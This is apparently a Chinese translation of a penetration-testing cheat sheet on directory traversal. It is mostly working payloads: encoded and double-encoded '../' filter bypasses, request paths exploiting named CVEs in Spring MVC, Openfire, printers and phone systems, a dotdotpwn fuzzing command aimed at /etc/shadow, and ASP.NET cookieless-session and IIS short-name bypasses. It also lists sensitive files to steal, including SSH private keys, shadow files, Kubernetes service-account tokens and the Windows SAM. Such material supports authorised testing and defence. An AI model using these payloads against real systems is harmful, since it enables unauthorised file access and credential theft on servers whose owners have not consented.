跳转至

目录遍历 (Directory Traversal)

路径遍历,也称为目录遍历,是一种安全漏洞。当攻击者操纵引用文件的变量,并注入“点-点-斜杠 (../)”序列或类似结构时,就会产生此漏洞。这可能允许攻击者访问存储在文件系统上的任意文件和目录。

摘要 (Summary)

工具 (Tools)

  • wireghoul/dotdotpwn - 目录遍历模糊测试工具 (Fuzzer)。

    perl dotdotpwn.pl -h 10.10.10.10 -m ftp -t 300 -f /etc/shadow -s -q -b
    

方法论 (Methodology)

我们可以使用 .. 字符来访问父目录。以下字符串是几种可以帮助您绕过实现不佳的过滤器的编码方式。

../
..\
..\/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae%c0%af
%uff0e%uff0e%u2215
%uff0e%uff0e%u2216

URL 编码

字符 编码后
. %2e
/ %2f
\ %5c

示例: IPConfigure Orchid Core VMS 2.0.5 - 本地文件包含 (LFI)

{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd

双重 URL 编码

双重 URL 编码是对字符串应用两次 URL 编码的过程。在 URL 编码中,特殊字符被替换为 % 后跟其十六进制 ASCII 值。双重编码在已编码的字符串上重复此过程。

字符 编码后
. %252e
/ %252f
\ %255c

示例: Spring MVC 目录遍历漏洞 (CVE-2018-1271)

{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

Unicode 编码

字符 编码后
. %u002e
/ %u2215
\ %u2216

示例: Openfire 管理控制台 - 身份验证绕过 (CVE-2023-32315)

{{BaseURL}}/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

超长 UTF-8 Unicode 编码

UTF-8 标准规定,每个码点都必须使用表示其有效位所需的最小字节数进行编码。任何使用超过所需字节数的编码都被称为“超长 (overlong)”,根据 UTF-8 规范被视为无效。这一规则确保了码点与其有效编码之间的一对一映射,保证每个码点都有唯一的表示形式。

字符 编码后
. %c0%2e, %e0%40%ae, %c0%ae
/ %c0%af, %e0%80%af, %c0%2f
\ %c0%5c, %c0%80%5c

混淆路径 (Mangled Path)

有时您会遇到 WAF,它会从字符串中删除 ../ 字符,这种情况下只需将其双写即可。

..././
...\.\

示例:: Mirasys DVMS Workstation <=5.12.6

{{BaseURL}}/.../.../.../.../.../.../.../.../.../windows/win.ini

空字节 (NULL Bytes)

空字节 (%00),也称为空字符,是许多编程语言和系统中的特殊控制字符 (0x00)。在 C 和 C++ 等语言中,它通常被用作字符串结束符。在目录遍历攻击中,空字节被用于操纵或绕过服务器端的输入验证机制。

示例: Homematic CCU3 CVE-2019-9726

{{BaseURL}}/.%00./.%00./etc/passwd

示例: 京瓷打印机 d-COPIA253MF CVE-2020-23575

{{BaseURL}}/wlmeng/../../../../../../../../../../../etc/passwd%00index.htm

反向代理 URL 实现

Nginx 将 /..;/ 视为目录,而 Tomcat 将其视为 /../,这允许我们访问任意 Servlet。

..;/

示例: Pascom Cloud Phone System CVE-2021-45967

NGINX 与后端 Tomcat 服务器之间的配置错误导致 Tomcat 服务器中的路径遍历,从而暴露了非预期的端点。

{{BaseURL}}/services/pluginscript/..;/..;/..;/getFavicon?host={{interactsh-url}}

攻击利用 (Exploit)

这些利用方式影响与特定技术相关的机制。

UNC 共享

UNC(通用命名约定)共享是一种标准格式,用于跨平台、独立地指定网络上资源(如共享文件、目录或设备)的位置。它常用于 Windows 环境,但也受到其他操作系统的支持。

攻击者可以向软件系统注入 Windows UNC 共享路径 (\\UNC\share\name),从而潜在地将访问重定向到非预期位置或任意文件。

\\localhost\c$\windows\win.ini

此外,机器还可能尝试对该远程共享进行身份验证,从而发送 NTLM 交换数据包。

当启用了无 Cookie 会话状态时,ASP.NET 不再依赖 Cookie 来识别会话,而是通过直接在 URL 中嵌入会话 ID 来修改 URL。

例如,典型的 URL 可能会从 http://example.com/page.aspx 变为类似 http://example.com/(S(lit3py55t21z5v55vlm25s55))/page.aspx(S(...)) 中的值即为会话 ID。

.NET 版本 URI
V1.0, V1.1 /(XXXXXXXX)/
V2.0+ /(S(XXXXXXXX))/
V2.0+ /(A(XXXXXXXX)F(YYYYYYYY))/
V2.0+ ...

我们可以利用这种行为来绕过 URL 过滤器。

  • 如果您的应用程序在根文件夹中

    /(S(X))/
    /(Y(Z))/
    /(G(AAA-BBB)D(CCC=DDD)E(0-1))/
    /(S(X))/admin/(S(X))/main.aspx
    /(S(x))/b/(S(x))in/Navigator.dll
    
  • 如果您的应用程序在子文件夹中

    /MyApp/(S(X))/
    /admin/(S(X))/main.aspx
    /admin/Foobar/(S(X))/../(S(X))/main.aspx
    
CVE Payload
CVE-2023-36899 /WebForm/(S(X))/prot/(S(X))ected/target1.aspx
- /WebForm/(S(X))/b/(S(X))in/target2.aspx
CVE-2023-36560 /WebForm/pro/(S(X))tected/target1.aspx/(S(X))/
- /WebForm/b/(S(X))in/target2.aspx/(S(X))/

IIS 短文件名 (Short Name)

IIS 短文件名漏洞利用了 Microsoft Internet Information Services (IIS) Web 服务器的一个特性,允许攻击者确定 Web 服务器上是否存在名称长度超过 8.3 格式(也称为短文件名)的文件或目录。

  • irsdl/IIS-ShortName-Scanner

    java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/bin::$INDEX_ALLOCATION/'
    java -jar ./iis_shortname_scanner.jar 20 8 'https://X.X.X.X/MyApp/bin::$INDEX_ALLOCATION/'
    
  • bitquark/shortscan

    shortscan http://example.org/
    

Java URL 协议

当使用 new URL('') 时,Java 的 URL 协议允许 url:URL 格式。

url:file:///etc/passwd
url:http://127.0.0.1:8080

路径遍历常用文件 (Path Traversal)

Linux 文件

  • 操作系统和信息

    /etc/issue
    /etc/group
    /etc/hosts
    /etc/motd
    
  • 进程

    /proc/[0-9]*/fd/[0-9]*   # 第一个数字是 PID,第二个是文件描述符
    /proc/self/environ
    /proc/version
    /proc/cmdline
    /proc/sched_debug
    /proc/mounts
    
  • 网络

    /proc/net/arp
    /proc/net/route
    /proc/net/tcp
    /proc/net/udp
    
  • 当前路径

    /proc/self/cwd/index.php
    /proc/self/cwd/main.py
    
  • 索引/搜索数据库

    /var/lib/mlocate/mlocate.db
    /var/lib/plocate/plocate.db
    /var/lib/mlocate.db
    
  • 凭据和历史记录

    /etc/passwd
    /etc/shadow
    /home/$USER/.bash_history
    /home/$USER/.ssh/id_rsa
    /etc/mysql/my.cnf
    
  • Kubernetes

    /run/secrets/kubernetes.io/serviceaccount/token
    /run/secrets/kubernetes.io/serviceaccount/namespace
    /run/secrets/kubernetes.io/serviceaccount/certificate
    /var/run/secrets/kubernetes.io/serviceaccount
    

Windows 文件

文件 license.rtfwin.ini 在现代 Windows 系统中始终存在,使其成为测试路径遍历漏洞的可靠目标。虽然它们的内容并非特别敏感或有趣,但非常适合用作概念验证 (PoC)。

C:\Windows\win.ini
C:\windows\system32\license.rtf

当可以在 Microsoft Windows 操作系统上读取任意文件时,可探测的文件/路径列表:soffensive/windowsblindread

c:/inetpub/logs/logfiles
c:/inetpub/wwwroot/global.asa
c:/inetpub/wwwroot/index.asp
c:/inetpub/wwwroot/web.config
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system32/inetsrv/metabase.xml
c:/sysprep.inf
c:/sysprep.xml
c:/sysprep/sysprep.inf
c:/sysprep/sysprep.xml
c:/system volume information/wpsettings.dat
c:/system32/inetsrv/metabase.xml
c:/unattend.txt
c:/unattend.xml
c:/unattended.txt
c:/unattended.xml
c:/windows/repair/sam
c:/windows/repair/system

实验环境 (Labs)

参考资料 (References)